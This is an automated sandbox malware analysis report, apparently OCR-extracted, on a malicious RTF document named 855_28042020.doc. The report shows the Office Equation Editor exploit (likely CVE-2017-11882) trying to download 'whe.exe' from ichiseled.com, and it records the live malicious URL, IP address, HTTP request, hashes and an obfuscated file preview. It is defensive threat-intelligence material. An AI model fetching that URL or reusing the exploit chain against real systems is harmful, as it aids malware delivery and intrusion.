# J〇eSandbox Cloud" 



ID: 356432
Sample Name:
855_28042020.doc

## Cookbook:

defaultwindowsofficecookbook.jbs
Time: 07:44:14
Date: 23/02/2021
Version: 31.0.0 Emerald

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## Analysis Report 855_28042020.doc

## Overview

## General Information

| Sample <br> Name: | 855_28042020.doc |
| :--- | :--- |
| Analysis ID: | 356432 |
| MD5: | eda54697e6ab43.. |
| SHA1: | fe3b1e8337728c7. |
| SHA256: | 73bccef5c926cef... |
| Tags: | doc |

Most interesting Screenshot:
4-



Detection


Signatures

| Antivirus / Scanner detection for sub... |
| :--- |
| Sigma detected: EQNEDT32.EXE c... |
| Office equation editor starts process... |
| Internet Provider seen in connection... |
| May sleep (evasive loops) to hinder ... |
| Office Equation Editor has been star... |
| Potential document exploit detected... |
| Potential document exploit detected... |
| Potential document exploit detected... |
| Uses a known web browser user age... |

Classification


## Startup

- System is w7x64
- WINWORD.EXE (PID: 1324 cmdline: 'C:IProgram FilesIMicrosoft OfficelOffice14IWINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
- $\sqrt{\sqrt[\pi]{\alpha}}$ EQNEDT32.EXE (PID: 2504 cmdline: 'C:IProgram FilesICommon FilesIMicrosoft SharedIEQUATIONIEQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)
- $\sqrt{\sqrt{\alpha}}$ EQNEDT32.EXE (PID: 2896 cmdline: 'C:IProgram FilesICommon FilesIMicrosoft SharedIEQUATIONIEQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)
- cleanup


## Malware Configuration

No configs have been found

## Yara Overview

No yara matches

## Sigma Overview

## System Summary:

Sigma detected: EQNEDT32.EXE connecting to internet

## Signature Overview



- Software Vulnerabilities
- Networking
- System Summary
- Hooking and other Techniques for Hiding and Protection
- Malware Analysis System Evasion

Click to jump to signature section

## AV Detection:



## Antivirus / Scanner detection for submitted sample

Exploits: $\square$

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

## Compliance:

Uses new MSVCR Dils

## System Summary:

## Mitre Att\&ck Matrix

| Initial <br> Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral <br> Movement | Collection | Exfiltration | Command and Control | Network Effects | R1 St E1 |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| Valid Accounts | Exploitation for Client <br> Execution 13 | Path <br> Interception | Process Injection 1 | Masquerading 1 | os <br> Credential <br> Dumping | Virtualization/Sandbox Evasion 1 | Remote Services | Data from Local <br> System | Exfiltration <br> Over Other <br> Network <br> Medium | Non- <br> Application <br> Layer <br> Protocol 3 | Eavesdrop on Insecure <br> Network <br> Communication | Rit Tr W Al |
| Default Accounts | Scheduled <br> Task/Job | Boot or <br> Logon <br> Initialization <br> Scripts | Boot or <br> Logon <br> Initialization <br> Scripts | Virtualization/Sandbox Evasion 1 | LSASS Memory | File and Directory Discovery 1 | Remote Desktop Protoco | Data from <br> Removable <br> Media | Exfiltration Over Bluetooth | Application <br> Layer <br> Protocol 13 | Exploit SS7 to Redirect Phone Calls/SMS | Rt W W Al |
| Domain Accounts | At (Linux) | Logon Script (Windows) | Logon <br> Script <br> (Windows) | Process Injection 1 | Security Account Manager | System Information Discovery 1 | SMB/Windows Admin Shares | Data from <br> Network <br> Shared <br> Drive | Automated <br> Exfiltration | Ingress Tool Transfer 4 | Exploit SS7 to <br> Track Device Location | O Di Cl Ba |
| Local Accounts | At (Windows) | Logon Script (Mac) | Logon Script <br> (Mac) | Binary Padding | NTDS | Remote System Discovery 1 | Distributed Component Object Model | Input Capture | Scheduled <br> Transfer | Protocol Impersonation | SIM Card Swap |  |

## Behavior Graph



## Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.


Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

| Source | Detection | Scanner | Label | Link |
| :---: | :---: | :---: | :---: | :---: |
| 855_28042020.doc | 100\% | Avira | $\begin{aligned} & \text { EXP/CVE-2017- } \\ & \text { 11882.Gen } \end{aligned}$ |  |
| Dropped Files |  |  |  |  |
| No Antivirus matches |  |  |  |  |
| Unpacked PE Files |  |  |  |  |
| No Antivirus matches |  |  |  |  |
| Domains |  |  |  |  |
| No Antivirus matches |  |  |  |  |
| URLS |  |  |  |  |
| Source | Detection | Scanner | Label | Link |
| http://ichiseled.com/files/whe.exe | 0\% | Avira URL Cloud | safe |  |

## Domains and IPs

## Contacted Domains

| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
| :---: | :---: | :---: | :---: | :---: | :---: |
| ichiseled.com | 5.188.168.36 | true | true |  | unknown |
| Contacted URLs |  |  |  |  |  |
| Name |  | Malic | $s$ An | virus Detection | Reputation |
| http://ichiseled.com/files/whe.exe |  | true |  | Avira URL Cloud: safe | unknown |



Public

| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| 5.188.168.36 | unknown | Luxembourg | $\Xi$ | 202422 | GHOSTRU | true |

## General Information

| Joe Sandbox Version: |  |
| :--- | :--- |
| Analysis ID: | 31.0 .0 Emerald |
| Start date: | 356432 |
| Start time: | 23.02 .2021 |
| Joe Sandbox Product: | $07: 44: 14$ |
| Overall analysis duration: | CloudBasic |
| Hypervisor based Inspection enabled: | Oh 4m 10s |
| Report type: | false |
| Sample file name: | light |
| Cookbook file name: | 855 28042020.doc |
| Analysis system description: | defaultwindowsofficecookbook.jbs |
|  | Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, |
| Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, |  |
| Java 8 Update 121, .NET 4.6.2) |  |


| Number of analysed new started processes analysed: | 7 |
| :---: | :---: |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: | - HCA enabled <br> - EGA enabled <br> - HDC enabled <br> - AMSI enabled |
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Detection: | MAL |
| Classification: | mal60.expl.winDOC@4/6@1/1 |
| Cookbook Comments: | - Adjust boot time <br> - Enable AMSI <br> - Found application associated with file extension: .doc <br> - Found Word or Excel or PowerPoint or XPS Viewer <br> - Attach to Office via COM <br> - Active ActiveX Object <br> - Scroll down <br> - Close Viewer |
| Warnings: | Show All <br> - Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, svchost.exe <br> - Report size getting too big, too many NtQueryAttributesFile calls found. <br> - VT rate limit hit for: /opt/package/joesandbox/database/analysis/35643 2/sample/855_28042020.doc |

## Simulations

## Behavior and APIs

| Time | Type | Description |
| :--- | :--- | :--- |
| $07: 44: 35$ | API Interceptor | $133 \times$ Sleep call for process: EQNEDT32.EXE modified |

## Joe Sandbox View / Context

## IPs

No context

ASN

| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
| :---: | :---: | :---: | :---: | :---: | :---: |
| GHOSTRU | http://https://1drv.ms/u/s!AtNDrGhUgHhfcwNOdpu_of6_yGc? e=DAT50r | Get hash | malicious | Browse | - 92.38.176.45 |
|  | PBS11220-938.docx | Get hash | malicious | Browse | - 92.38.149.231 |
|  | PBS11220-938.docx | Get hash | malicious | Browse | - 92.38.149.231 |
|  | PBS11220-938.docx | Get hash | malicious | Browse | - 92.38.149.231 |
|  | PBS11220-938.docx | Get hash | malicious | Browse | - 92.38.149.231 |
|  | CLBS_0011_1220.docx | Get hash | malicious | Browse | - 92.38.149.231 |
|  | CLBS_0011_1220.docx | Get hash | malicious | Browse | - 92.38.149.231 |
|  | xotSuOIKbi.xls | Get hash | malicious | Browse | - 92.38.149.158 |
|  | zy9QQDzInE.x\|s | Get hash | malicious | Browse | - 92.38.149.158 |


| Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
| :---: | :---: | :---: | :---: | :---: | :---: |
|  | Q4vxXLDATP.xIs | Get hash | malicious | Browse | - 92.38.149.158 |
|  | YwOLOtqgpL.xIs | Get hash | malicious | Browse | - 92.38.149.158 |
|  | 2jNI8NS9Jo.xls | Get hash | malicious | Browse | - 92.38.149.158 |
|  | ACDI91mi98.xls | Get hash | malicious | Browse | - 92.38.149.158 |
|  | wsCoSRkLvk.xls | Get hash | malicious | Browse | - 92.38.149.158 |
|  | P5MoDTcLds.xls | Get hash | malicious | Browse | - 92.38.149.158 |
|  | dS50owjWC8.xls | Get hash | malicious | Browse | - 92.38.149.158 |
|  | zmUCUZZCMs.xls | Get hash | malicious | Browse | - 92.38.149.158 |
|  | 517jorVEfG.xls | Get hash | malicious | Browse | - 92.38.149.158 |
|  | irEHyx24HF.xls | Get hash | malicious | Browse | - 92.38.149.158 |
|  | dHpBuHv9gh.xls | Get hash | malicious | Browse | - 92.38.149.158 |

## JA3 Fingerprints

No context

Dropped Files

No context

## Created / dropped Files

| C:IUsersluserlAppDatalLocallMicrosoftIWindowsITemporary Internet FileslContent.Wordl~WRS\{4A8E8FD7-B28F-4AE5-86AD-026C320EA73C\}.tmp |  |
| :---: | :---: |
| Process: | C:IProgram FileslMicrosoft OfficelOffice14IWINWORD.EXE |
| File Type: | data |
| Category: | dropped |
| Size (bytes): | 1024 |
| Entropy (8bit): | 0.05390218305374581 |
| Encrypted: | false |
| SSDEEP: | 3:013IYdn:4Wn |
| MD5: | 5D4D94EE7E06BBB0AF9584119797B23A |
| SHA1: | DBB111419C704F116EFA8E72471DD83E86E49677 |
| SHA-256: | 4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1 |
| SHA-512: | 95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B A4 |
| Malicious: | false |
| Reputation: | high, very likely benign file |
| Preview: |  |
|  |  |

C:IUsersluserlAppDatalLocallMicrosoftIWindowsITemporary Internet FilesIContent.Wordl~WRS\{B9C27487-05CF-4B4D-9079-2A6225ABAACB\}.tmp

| Process: | C:IProgram FileslMicrosoft OfficelOffice14IWINWORD.EXE |
| :---: | :---: |
| File Type: | data |
| Category: | dropped |
| Size (bytes): | 11806 |
| Entropy (8bit): | 3.580447935125362 |
| Encrypted: | false |
| SSDEEP: | 192:jL02t8cCtzLMiD8VPVhGMI9qcdT3u6KKYzyk1PDKNXLgSVG2+:jLzcSPHiWTTKKEVD4XN+ |
| MD5: | C9BA1AECCE7D98DBDDCB0AEEB15A8AE1 |
| SHA1: | 2F04B13A7E26EA88E4B8B06F94481FC6718C3982 |
| SHA-256: | FC4F91B5E532E908A87CEF1E7342F5C622468B2C146E49C5DE37192EE9C0524C |
| SHA-512: | 3440C61313E0C7BEAEDE4B13C63329471D0B75815AA0EAD3B3CBDDE63E4DEEB0F2D34B0042A3891B8C91420BF33A4CA50DA050C1A501EB3E59E097EF0857A 93 |
| Malicious: | false |
| Reputation: | low |
| Preview: |  |

C:IUsersluserlAppDatalRoaminglMicrosoftlOfficelRecentl855_28042020.LNK

| Process: | C:IProgram Files\Microsoft OfficelOffice14IWINWORD.EXE |
| :---: | :---: |
| File Type: | MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Wed Aug 26 14:08:15 2020, atime=Tue Feb 23 14:44:33 2021, length=233718, window=hide |
| Category: | dropped |
| Size (bytes): | 2048 |
| Entropy (8bit): | 4.5270538608112565 |
| Encrypted: | false |
| SSDEEP: | 24:88j/XTd6jFyl/euYDv3q7dM7dD28j/XTd6jFyl/euYDv3q7dM7dV:8o/XT0jF+/NH7Qh2o/XT0jF+/NH7Q/ |
| MD5: | DFACD979067EC521D370F1FB1D73CAC3 |
| SHA1: | DC5F1F69EE5D1ECC164DBDDEBD5656D73D090894 |
| SHA-256: | 9BD377FE647CBBCA1BABB4F03D6CA8F424E96CC60A43047A6ACA58AF57516FD6 |
| SHA-512: | 9B91DF04DCF768D828AA114C6C8FA68165444FB839D15478F69EB8E7CA55D5FF9837C5B0C971F78E1B04CE2056028FF9E833377E5E69E6BA91D5329963BD6E5 |
| Malicious: | false |
| Reputation: | low |
| Preview: | L.................F.... .....x..\{....x.\{..e.Q................................P.O. .:i.....+00.../C:I....................1.....QK.X..Users. ..........QK.X*..................6.....U.s.e.r.s...@.s.h.e.I.I.3.2...d.I.I,.. .2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...\&=...U...............A.I.b.u.s.....z.1......Q.y.Desktop.d......QK.X.Q.y*..._=...................D.e.s.k.t.o.p...@.s.h.e.I.I.3.2...d.I.I.,.-. 2 .1.7.6.9.....j.2....WR.\} .855_28~1.DOC..N.......Q.y.Q.y*...8. .8.5.5._.2.8.0.4.2.0.2.0...d.o.c.......z. ..8... $\qquad$ ?J......C:IUsersl..\#. $\qquad$ .1122 6546IUsers.userlDesktopl855_28042020.doc.'.............................D.e.e.s.k.t.o.p.1.8.5.5._.2.8.0.4.2.0.2.0...d.o.c. $\qquad$ .LB.)...Ag. $\qquad$ .S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6....................X.......226546..........D_....3N...W...9F.C...........[D_...3N...W |

C:IUsersluserlAppDatalRoaminglMicrosoftlOfficelRecentlindex.dat

| Process: | C:IProgram FilesIMicrosoft OfficelOffice14IWINWORD.EXE |
| :--- | :--- |
| File Type: | ASCII text, with CRLF line terminators |
| Category: | dropped |
| Size (bytes): | 74 |
| Entropy (8bit): | 3.9246977103004834 |
| Encrypted: | false |
| SSDEEP: | 3:M1dyXxVFLUIr8XxVFLUImX1dyXxVFLUlv:MsQsQJQ1 |
| MD5: | B3F76E5B784F3ABF65B88E57AB4FA201 |
| SHA1: | B43C3F1B5CBDF6B14884A1567756C6E519F5DAC9 |
| SHA-256: | F1427C865618B10307D3938B11C9E9FD7A331859540B137B7C33596D1DE9618B |
| SHA-512: | 4DCBCDCDACA33F2C977F24F3ABB08CEA43B9D1539897E48F169558D2755AD003DD1E2338AD589CE93E909D74592F9E9E70319B0E609B9B432AAB9DB2234A9 <br> AC |
| Malicious: | false |
| Reputation: | low |
| Preview: | [doc]..855_28042020.LNK=0..855_28042020.LNK=0..[doc]..855_28042020.LNK=0.. |

## C:IUsersluser\AppDatalRoaming\MicrosoftlTemplatesl~\$Normal.dotm

| Process: | C:IProgram Files\Microsoft OfficelOffice14IWINWORD.EXE |
| :---: | :---: |
| File Type: | data |
| Category: | dropped |
| Size (bytes): | 162 |
| Entropy (8bit): | 2.431160061181642 |
| Encrypted: | false |
| SSDEEP: | 3:vrJlaCkWtVyokKOg5Gll3GwSKG/f2+1/In:vdsCkWtW2IIID9\| |
| MD5: | 39EB3053A717C25AF84D576F6B2EBDD2 |
| SHA1: | F6157079187E865C1BAADCC2014EF58440D449CA |
| SHA-256: | CD95C0EA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A |
| SHA-512: | 5AA3D344F90844D83477E94E0D0E0F3C96324D8C255C643D1A67FA2BB9EEBDF4F6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB90289 C |
| Malicious: | false |
| Reputation: | high, very likely benign file |
| Preview: | .user...........................................A.l.b.u.s...........p........w..............w...........P.w............W....z........w.....x... |

## C:IUsersluserlDesktopl~\$5_28042020.doc

| Process: | C:IProgram FilesIMicrosoft OfficelOffice14IWINWORD.EXE |
| :--- | :--- |
| File Type: | data |
| Category: | dropped |
| Size (bytes): | 162 |
| Entropy (8bit): | 2.431160061181642 |
| Encrypted: | false |
| SSDEEP: | $3: v r J l a C k W t V y o k K O g 5 G I I 3 G w S K G / f 2+1 / I n: v d s C k W t W 2 I I I D 91 ~$ |
| MD5: | 39EB3053A717C25AF84D576F6B2EBDD2 |
| SHA1: | F6157079187E865C1BAADCC2014EF58440D449CA |

C:IUsersluserlDesktopl~\$5_28042020.doc

| SHA-256: | CD95C0EA3CEAEC724B510D6F8F43449B26DF97822F25BDA3316F5EAC3541E54A |
| :--- | :--- |
| SHA-512: | 5AA3D344F90844D83477E94E0D0E0F3C96324D8C255C643D1A67FA2BB9EEBDF4F6A7447918F371844FCEDFCD6BBAAA4868FC022FDB666E62EB2D1BAB902891 <br> C |
| Malicious: | false |
| Reputation: | high, very likely benign file |
| Preview: | .user..............................................A.I.b.u.s......................w...............w.............P.w..............w.......................... |

## Static File Info

| General |  |
| :---: | :---: |
| File type: | Rich Text Format data, unknown version |
| Entropy (8bit): | 2.358539580854024 |
| TrID: | - Rich Text Format (5005/1) 55.56\% <br> - Rich Text Format (4004/1) 44.44\% |
| File name: | 855_28042020.doc |
| File size: | 233718 |
| MD5: | eda54697e6ab436600b8b74102833d7e |
| SHA1: | fe3b1e8337728c74600eab9cb5c9f073e7c04ced |
| SHA256: | 73bccef5c926cefd41f82a329a8ba732bf59195f19c67498 ccf162caa6410de1 |
| SHA512: | a16951fc4600a2e3d468c1b82d05c657ffca41745c2fd91 ac2a1449b4f87efe6eda1deb0e3b1c8fe573f0a44760f90a 98628a431b81fbcae25bc33e1b55b87b0 |
| SSDEEP: | 6144:xLnHVKS3j8PtOPzOptaQE8qRQAX7NRNpo7s:Z |
| File Content Preview: | \{rtf7345!(\#\%:7-<.7?/\$4?7`(-_^\$\$..\&9</=/\&82]2\$>\%?@.) ?1/\%<\%)\#\|?-01@<;=?\$92[0.=.<-\$/?\#>\#?0[2]>\%<|\%*). 7 .'[<94+_@???\%*?5\%]?.),^/_\$*|.@>:?90\%]\%.\%.]:@;+\$<6 \%\%=8~+?~[4\$8\%7424=.*]9(,-..</.\%\#^'-.5~,):.\$).5[@;[3) 4/@01)-+?,?,_2?,.3.<*,?)\#,.<8\$>.'86\#/.?.7^2_5>.>536+( |

## File Icon



| Icon Hash: | e4eea2aaa4b4b4a4 |
| :--- | :--- |

## Static RTF Info

Objects

| Id | Start | Format ID | Format | Classname | Datasize | Filename | Sourcepath | Temppath | Exploit |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| 0 | 0000152Eh | 2 | embedded | rJH7AOILcfoAuNg7Sv3a | 3584 |  |  |  | no |

## Network Behavior

## Network Port Distribution

## Total Packets: 15 <br> - 53 (DNS) <br> - 80 (HTTP)



## TCP Packets

| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
| :---: | :---: | :---: | :---: | :---: |
| Feb 23, 2021 07:45:03.482753992 CET | 49167 | 80 | 192.168.2.22 | 5.188.168.36 |
| Feb 23, 2021 07:45:03.557590961 CET | 80 | 49167 | 5.188.168.36 | 192.168.2.22 |
| Feb 23, 2021 07:45:03.557730913 CET | 49167 | 80 | 192.168.2.22 | 5.188.168.36 |
| Feb 23, 2021 07:45:03.558129072 CET | 49167 | 80 | 192.168.2.22 | 5.188.168.36 |
| Feb 23, 2021 07:45:03.632797003 CET | 80 | 49167 | 5.188.168.36 | 192.168.2.22 |
| Feb 23, 2021 07:45:03.633537054 CET | 80 | 49167 | 5.188.168.36 | 192.168.2.22 |
| Feb 23, 2021 07:45:03.633569002 CET | 80 | 49167 | 5.188.168.36 | 192.168.2.22 |
| Feb 23, 2021 07:45:03.633595943 CET | 80 | 49167 | 5.188.168.36 | 192.168.2.22 |
| Feb 23, 2021 07:45:03.633610010 CET | 80 | 49167 | 5.188.168.36 | 192.168.2.22 |
| Feb 23, 2021 07:45:03.633634090 CET | 80 | 49167 | 5.188.168.36 | 192.168.2.22 |
| Feb 23, 2021 07:45:03.633651018 CET | 49167 | 80 | 192.168.2.22 | 5.188.168.36 |
| Feb 23, 2021 07:45:03.633655071 CET | 80 | 49167 | 5.188.168.36 | 192.168.2.22 |
| Feb 23, 2021 07:45:03.633665085 CET | 49167 | 80 | 192.168.2.22 | 5.188.168.36 |
| Feb 23, 2021 07:45:03.633673906 CET | 49167 | 80 | 192.168.2.22 | 5.188.168.36 |
| Feb 23, 2021 07:45:03.633678913 CET | 80 | 49167 | 5.188 .168 .36 | 192.168.2.22 |
| Feb 23, 2021 07:45:03.633696079 CET | 80 | 49167 | 5.188.168.36 | 192.168.2.22 |
| Feb 23, 2021 07:45:03.633697033 CET | 49167 | 80 | 192.168.2.22 | 5.188.168.36 |
| Feb 23, 2021 07:45:03.633713007 CET | 80 | 49167 | 5.188.168.36 | 192.168.2.22 |
| Feb 23, 2021 07:45:03.633717060 CET | 49167 | 80 | 192.168.2.22 | 5.188.168.36 |
| Feb 23, 2021 07:45:03.633728981 CET | 80 | 49167 | 5.188.168.36 | 192.168.2.22 |
| Feb 23, 2021 07:45:03.633733034 CET | 49167 | 80 | 192.168.2.22 | 5.188.168.36 |
| Feb 23, 2021 07:45:03.633752108 CET | 49167 | 80 | 192.168.2.22 | 5.188.168.36 |
| Feb 23, 2021 07:45:03.633763075 CET | 49167 | 80 | 192.168.2.22 | 5.188 .168 .36 |
| Feb 23, 2021 07:45:03.635215044 CET | 49167 | 80 | 192.168.2.22 | 5.188.168.36 |
| Feb 23, 2021 07:45:03.635315895 CET | 49167 | 80 | 192.168.2.22 | 5.188.168.36 |
| Feb 23, 2021 07:45:03.708290100 CET | 80 | 49167 | 5.188.168.36 | 192.168.2.22 |
| Feb 23, 2021 07:45:03.708425045 CET | 49167 | 80 | 192.168.2.22 | 5.188.168.36 |

## UDP Packets

| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
| :---: | :---: | :---: | :---: | :---: |
| Feb 23, 2021 07:45:03.398646116 CET | 52197 | 53 | 192.168.2.22 | 8.8.8.8 |
| Feb 23, 2021 07:45:03.469065905 CET | 53 | 52197 | 8.8.8.8 | 192.168.2.22 |

## DNS Queries

| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| Feb 23, 2021 07:45:03.398646116 CET | 192.168.2.22 | 8.8.8.8 | 0xb648 | Standard query (0) | ichiseled.com | A (IP address) | IN (0x0001) |

## DNS Answers

| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| Feb 23, 2021 07:45:03.469065905 CET | 8.8.8.8 | 192.168.2.22 | 0xb648 | No error (0) | ichiseled.com |  | 5.188.168.36 | A (IP address) | IN (0x0001) |

- ichiseled.com


## HTTP Packets

| Session ID | Source IP | Source Port | Destination IP | Destination Port | Process |
| :---: | :---: | :---: | :---: | :---: | :---: |
| 0 | 192.168.2.22 | 49167 | 5.188.168.36 | 80 | C:IProgram FilesICommon FilesiMicrosoft Shared\EQUATIONIEQNEDT32.EXE |
| Timestamp | kBytes transferred | Direction | Data |  |  |
| Feb 23, 2021 <br> 07:45:03.558129072 CET | 0 | OUT | GET /files/whe.exe HTTP/1.1 <br> Accept: */* <br> Accept-Encoding: gzip, deflate <br> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; <br> .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) <br> Host: ichiseled.com <br> Connection: Keep-Alive |  |  |
| Feb 23, 2021 <br> 07:45:03.633537054 CET | 1 | IN | HTTP/1.1 404 Not Found <br> Date: Tue, 23 Feb 2021 06:45:03 GMT <br> Server: Apache <br> Accept-Ranges: bytes <br> Cache-Control: no-cache, no-store, must-revalidate <br> Pragma: no-cache <br> Expires: 0 <br> Keep-Alive: timeout=5, max=100 <br> Connection: Keep-Alive <br> Transfer-Encoding: chunked <br> Content-Type: text/html <br> Data Raw: 31 Od Oa Oa Od Oa 31 Od Oa Oa Od Oa 31 Od Oa Oa Od Oa 313537 Od Oa 3c $21444 f 4354595045206874$ 6d 6c 3e 0a 3c 6874 6d 6c 3e 0a 20202020 3c 68656164 3e 0a 20202020 3c 6d $65746120687474702 d 657175$ 6976 3d $22436 f$ 6e 7465 6e $742 d 747970652220636 f 6 e 74656 e 743 d 22746578742 f 6874$ 6d 6c 3b 206368 6172736574 3d 757466 2d 3822 3e 0a 20202020 3c 6d $65746120687474702 d 6571756976$ 3d 22436163 $68652 d 636 f 6 e 7472$ ff 6c 222063 6f 6e $74656 e 74$ 3d $226 e 6 f 2 d 636163686522$ 3e 0a 20202020 3c 6d 6574 $6120687474702 d 6571756976$ 3d $22507261676 d 612220636 f 6 e 74656 e 74$ 3d 22 6e 6f 2d 63616368652 2 3e 0a 20202020 3c 6d $65746120687474702 d 6571756976$ 3d $22457870697265732220636 f 6 e 7465$ 6e 74 3d 223022 3e 0a 20202020 3c 6d $657461206 e 616 d 653 d 2276696577706 f 72742220636 f 6 e 74656 e 74$ 3d 227769647468 3d 646576696365 2d 7769647468 2c $20696 e 69746961$ 6c 2d 736361 6c 65 3d 31 2e 30 22 3e 0a 20202020 3c 746974 6c 65 3e 0d 0a 33 0d 0a 343034 0d 0a <br> Data Ascii: $111157<!$ DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <tit le>3404 |  |  |

## Code Manipulations

## Statistics

## Behavior


@ Click to jump to process

## System Behavior

## Analysis Process: WINWORD.EXE PID: 1324 Parent PID: 584

| General |  |
| :--- | :--- |
|  |  |
| Start time: | $07: 44: 34$ |
| Start date: | $23 / 02 / 2021$ |
| Path: | C:IProgram FilesIMicrosoft OfficelOffice14IWINWORD.EXE |
| Wow64 process (32bit): | false |
| Commandline: | 'C:IProgram Files\Microsoft OfficelOffice14IWINWORD.EXE' /Automation -Embedding |
| Imagebase: | 0x13ffa0000 |
| File size: | 1424032 bytes |
| MD5 hash: | $95 C 38 D 04597050285 A 18 F 66039 E D B 456$ |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |

## File Activities

| File Created |  |  |  |  |  |  |  |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| File Path | Access | Attributes | Options | Completion | Count | Source <br> Address | Symbol |
| C:IUsersluser\AppDatalLocallTemplVBE | read data or list directory \| synchronize | device | directory file \| synchronous io non alert | open for backup ident | open reparse point | success or wait | 1 | 7FEE91826B4 | CreateDirectoryA |

## File Deleted

| File Path | Completion | Count | Source <br> Address | Symbol |
| :---: | :---: | :---: | :---: | :---: |
| C:IUsersluser\Desktopl-\$5_28042020.doc | success or wait | 1 | 7FEE90A9AC0 | unknown |
| C:\Usersluser\AppDatalLocallTemplimgs_fileslthemedata.thm~ | success or wait | 1 | 7FEE90A9AC0 | unknown |
| C:IUsersluser\AppDatalLocallTemplimgs_files\colorschememapping.xm~ | success or wait | 1 | 7FEE90A9AC0 | unknown |
| C:IUsersluser\AppDatalLocallTemplimgs_files\filelist.xm~ | success or wait | 1 | 7FEE90A9AC0 | unknown |
| C:IUsersluser\AppDatalLocallTemplimgs.rcv | success or wait | 1 | 7FEE90A9AC0 | unknown |
| C:IUsersluserlAppDatalLocallTempl~WRL0000.tmp | success or wait | 1 | 7FEE90A9AC0 | unknown |

## File Moved



## Registry Activities

## Key Created

| Key Path | Completion | Count | Source <br> Address | Symbol |
| :---: | :---: | :---: | :---: | :---: |
| HKEY_CURRENT_USERISoftwarelMicrosoftlVBA | success or wait | 1 | 7FEE90BE72B | RegCreateKeyExA |
| HKEY_CURRENT_USERISoftwarelMicrosoftIVBAI7.0 | success or wait | 1 | 7FEE90BE72B | RegCreateKeyExA |
| HKEY_CURRENT_USERISoftwarelMicrosoftIVBAI7.01Common | success or wait | 1 | 7FEE90BE72B | RegCreateKeyExA |
| HKEY_CURRENT_USERISoftwarelMicrosoftlOfficelCommonlOfflinelOptions | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMicrosoftlofficel14.0lWordlResiliency | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USER\SoftwarelMicrosoft\Officel14.0\Word\ResiliencylDocumentRecovery | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USER\Software\Microsoft\Office\14.01Word\ResiliencylDocumentRecoverylF786B | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMicrosoftlOfficel14.0IWord\Place MRU | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMicrosoftloffice\14.0\CommonlRecent Locations | success or wait | 1 | 7FEE90A9AC0 | unknown |
| HKEY_CURRENT_USERISoftwarelMicrosoftlOfficel14.0\Common\Recent Locations\SharePoint | success or wait | 1 | 7FEE90A9AC0 | unknown |

Key Value Created

| Key Path | Name | Type | Data | Completion | Count | Source <br> Address | Symbol |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
